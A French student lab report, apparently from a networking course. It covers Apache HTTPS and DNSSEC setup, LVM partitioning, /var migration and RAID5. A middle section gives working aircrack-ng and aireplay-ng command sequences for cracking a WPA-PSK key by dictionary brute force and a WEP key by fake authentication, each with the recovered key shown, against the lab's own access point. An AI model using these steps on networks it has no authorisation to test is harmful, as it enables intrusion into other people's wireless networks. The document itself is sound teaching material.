Nous avons ensuite acheté sur gandi.net un certificat SSL en indiquant le code généré et placé le fichier obtenu dans le répertoire suivant: /var/www/html/.well-known/pki-validation
.
Le certificat ainsi que le fichier .pem sont ensuite téléchargé et placé dans le répertoire suivant: /etc/ssl/certs
.
Le fichier .key précédemment généré se place quant à lui dans le répertoire /etc/ssl/private
On créer un fichier de configuration /etc/apache2/sites-available/000-thotplil.space-ssl.conf
:
<VirtualHost 193.48.57.177:443> ServerName www.thotplil.space ServerAlias thotplil.space DocumentRoot /var/www/html/ CustomLog /var/log/apache2/secure_acces.log combined SSLEngine on SSLCertificateFile /etc/ssl/certs/thotplil.space.crt SSLCertificateKeyFile /etc/ssl/private/thotplil.space.key SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem SSLVerifyClient None </VirtualHost>
<VirtualHost 193.48.57.182:80> ServerName www.thotplil.space ServerAlias thotplil.space Redirect / https://thotplil.space </VirtualHost>
On active la configuration du site:
a2enmod ssl a2ensite 000-thotplil.space-ssl.conf service apache2 restart
Connexion au site en https:
Mise en place du DNSSEC
Modification dans le fichier named.conf.options
:
dnssec-validation auto; dnssec-enable yes;
On génère ensuite deux paires de clés ZSK et KSK:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE thotplil.space dnssec-keygen -a RSASHA1 -b 1024 -n ZONE thotplil.space
On inclut ensuite les clés dans le fichier /etc/bind/db.thotplil.space
:
$include /etc/bind/thotplil.space.dnssec/thotplil.space-ksk.key $include /etc/bind/thotplil.space.dnssec/thotplil.space-zsk.key
On prend soin de mettre $TTL 604800
au début du fichier.
On signe enfin la zone avec les clés ZSK et KSK:
dnssec-signzone -o thotplil.space -k thotplil.space-ksk ../db.thotplil.space thot.space-zsk
On renseigne ensuite les clés signé sur gandi.net -> Domains -> thotplil.space -> DNSSEC
Tests d’intrusion
Dans cette section nous allons tester différentes méthodes de sécurisations
Cassage de mot de passe WPA-PSK par force brute
Nous avons utilisé les outils du paquetage aircrack-ng pour capturer des paquets d'identifications.
Notre point d'accès est cracotte01.
Il faut tout d'abord mettre la carte réseau wifi de notre machine de travail en mode écoute, cela est fait grâce à la commande :
airmon-ng start wlp2s0
avec wlp2s0 le nom de l'interface réseau wifi de notre machine.
Cela "supprime" notre interface wlp2s0 et en créé une autre nommé wlp2s0mon.
En utilisant la commande
airodump-ng wlp2s0mon
on trouve l'adresse MAC de notre point d'accès cracotte01 :
<importimage>
On capture ensuite les paquets de handshake voulu grâce à la commande
airodump-ng wlp2s0mon --channel 9 --bssid 04:DA:D:9C:50:50 --write capture
Une fois le paquet capturé, on peut attaquer grâce à un simple brute force par dictionnaire.
On suppose que la clé est composé de 8 chiffres, on créé donc un document dico.txt contenant toutes les combinaisons de 8 chiffres possibles.
On lance ensuite la commande
aircrack-ng capture.cap -w dico.txt
On obtient finalement le résultat suivant:
Time left: 2 hours, 5 minutes, 55 seconds 41.28% KEY FOUND! [ 42429901 ] Master Key : 11 6A 5E CD 2B 05 7B 1E 5A 3D A0 35 83 6E 25 28 00 82 6D 3D 4F E7 13 ED 90 67 1C ED 8D 49 EC 6B Transient Key : B6 52 3A 23 86 D0 32 90 BD 95 E4 E8 ED B6 0F 3C D7 7A 7D 3A D9 07 AB 0F BE 97 59 F3 81 9E B9 E8 0F 5D 8B 27 1B DA 39 FC E9 2F 82 B2 61 D3 C2 CE 85 02 D9 25 3C E1 BB 7A 58 18 7E 26 EC F3 25 F5 EAPOL HMAC : 38 E3 C5 40 0F 0F 52 23 BD 8D 12 A8 32 3E 14 B7
Cassage de mot de passe WEP
Le cassage de clé WEP s'effectue d'une manière similaire. On capture les paquets grâce à la commande suivante :
sudo airodump-ng --bssid 04:DA:D2:9C:50:50 --ch 12 --write wepcassage wlp2s0mon
On simule des paquets d'authentifications avec la commandes
sudo aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:50 wlp2s0mon
On vérifie que l'on areçu des données avec
sudo aireplay-ng --fragment -b 04:DA:D2:9C:50:50 -r wepcassage-04.cap wlp2s0mon
Si des données on été capturés, on peut casser la clé très rapidement avec
sudo aircrack-ng wepcassage-04.cap
On obtient le résulat suivant :
[00:00:00] Tested 577 keys (got 40557 IVs) KB depth byte(vote) 0 1/ 2 3F(50944) BF(48128) 2F(47360) DB(47104) 22(46848) 74(46848) 99(46848) 1 8/ 1 09(46336) 2F(46080) 36(45824) 5C(45824) BC(45824) 2D(45056) 5D(45056) 2 3/ 2 DD(48128) 03(46592) 2A(46336) 7E(46336) 34(45824) 68(45824) 0E(45568) 3 1/ 4 C2(49408) 62(47616) 96(47616) A7(47360) 4C(47104) FD(46592) 40(46336) 4 2/ 7 87(48128) 8E(47872) 9D(47872) AB(47872) 88(47616) 7F(47360) 15(47104) KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:E4:44:44:44:44 ] Decrypted correctly: 100%
Séance 4
Création des partitions virtuelles
On commence par créer des partitions virtuelles pour les fichier /home et /var sur cordouan:
lvcreate -L10G -n thot-home virtual lvcreate -L10G -n thot-var virtual
On créé ensuite les partitions pour le RAID5
lvcreate -L10G -n thot-part1 virtual lvcreate -L10G -n thot-part2 virtual lvcreate -L10G -n thot-part3 virtual
On modifie ensuite le fichier de configuration de la VM:
disk = [ 'file:/usr/local/xen/domains/thot/disk.img,xvda2,w', 'file:/usr/local/xen/domains/thot/swap.img,xvda1,w', 'phy:/dev/virtual/thot-home,xvdb1,w', 'phy:/dev/virtual/thot-var,xvdc1,w', 'phy:/dev/virtual/thot-part1,xvdd1,w', 'phy:/dev/virtual/thot-part2,xvde1,w', 'phy:/dev/virtual/thot-part3,xvdf1,w' ]
Migration
On entreprend ensuite de migrer les dossier /var et /home dans les partitions nouvellement créées
Sur la VM, on créer un système de fichier sur /dev/xvdb1 et /dev/xvdc1
mkfs -t ext4 /dev/xvdb1 mkfs -t ext4 /dev/xvdc1
Dans /etc/fstab, on modifie directement le point d'ancrage du fichier /home, étant donné que ce dernier est vide:
/dev/xvdb1 /home ext4 defaults 0 2
Pour migrer le var, il va être nécessaire creer un point d'ancrage temporaire:
mkdir /mnt_var mount /dev/xvdc1 /mnt_var
On tranfère me contenu du dossier var dans la nouvelle partition:
cd /var cp -ax * /mnt_var
On fait ensuite une backup l'ancien dossier var, et on recréer un point de montage sur la nouvelle partition:
mkdir /var umount /dev/xvdc1 mount /dev/xvdc1 /var
Une fois cette étape terminé, on ajoute le nouveau point d'ancrage de /var dans /etc/fstab:
/dev/xvdc1 /var ext4 defaults 0 0
Enfin, on supprime les dossier /mnt_var /var.old.
Mise en place du RAID
Nous allons maintenant mettre en place un RAID5 logiciel avec les 3 partitons /dev/xvdd1, /dev/xvde1, et /dev/xvdf1.
On utilisera l'outil mdadm.
Création du raid5 sur /dev/md0:
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1
Création d'un filesystem ans la nouvelle partition raid :
mkfs -t ext4 /dev/md0
Puis on monte cette partition :
mkdir /mnt_raid5 mount /dev/md0 /raid5
On utilise la commande suivante pour automatiser la création de la grappe :
mdadm --monitor --daemonise /dev/md0
On ajoute ensuite la ligne suivante pour automatiser l'ancrage de la partition md0 sur /raid5
/dev/md0 /raid5/ ext4 defaults 0 1
A la suite d'une erreur survenu après un reboot de la machine, nous nous sommes apercu que la partition md0 a été renommé md127, on a donc modifé dans /etc/fstab:
/dev/md127 /raid5/ ext4 defaults 0 1
Par la suite, nous avons enregistré la configuration de du raid en lançant la commande suivante:
mdadm -Es >> /etc/mdadm.conf